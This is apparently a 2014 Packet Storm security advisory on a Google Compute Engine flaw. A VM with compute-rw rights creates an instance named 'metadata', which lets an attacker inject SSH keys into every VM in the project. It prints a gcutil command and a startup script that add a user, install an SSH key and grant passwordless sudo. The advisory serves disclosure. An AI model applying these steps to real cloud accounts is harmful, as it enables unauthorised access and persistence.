Google Compute Engine Lateral Compromise

Type packetstorm
Reporter Scott T. Cameron
Modified 2014-05-30T00:00:00


                                            `A user who creates a GCE VM with compute-rw privileges, who  
subsequently has that single VM compromised, can lead to a global  
compromise of all VMs inside of the account.  
VMs created in the web UI, by default, come with compute-rw privileges.  
Google’s account manager fetches ssh keys from the Google Metadata  
server on a short DNS name, which relies on DNS to expand to FQDN:  
ATTRIBUTES_URL = ('http://metadata/computeMetadata/v1/?recursive=true&%s')  
We can exploit this by relying on Google’s addinstnace command to  
automatically add a new instance to the recursive DNS provider @  
gcutil addinstance  
--zone=us-central1-a --machine_type=n1-standard-2  
--metadata_from_file=startup-script:google-base.txt metadata  
— startup-script:  
export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin  
useradd testuser  
mkdir -p /home/testuser/.ssh  
cat <<EOF > /home/testuser/.ssh/authorized_keys  
ssh-rsa superawesome ssh@key  
chmod 644 /home/testuser/.ssh/authorized_keys  
cat <<EOF >>/etc/sudoers  
testuser ALL=NOPASSWD: ALL  
exit 0  
Once the system is online, google’s account manager and google’s  
address manager will start making TCP/80 calls to our new server.  
This would allow you to compromise all Google Compute Engine VMs in  
the Google Project, as it would allow you to inject your own ssh key  
in to metadata's sshkeys k/v pair.  
Last but not least, if you otherwise had the ability to compromise DNS  
responses of Google Compute Engine VMs, you could simply use the lack  
of HMAC/DNS suffix in to compromise your targets.  
Google has updated its as follows:  
This avoids the problem on all newly created GCE VMs. However, older  
instances do not have any update mechanism available to them, leaving  
a substantial number of GCE VMs vulnerable.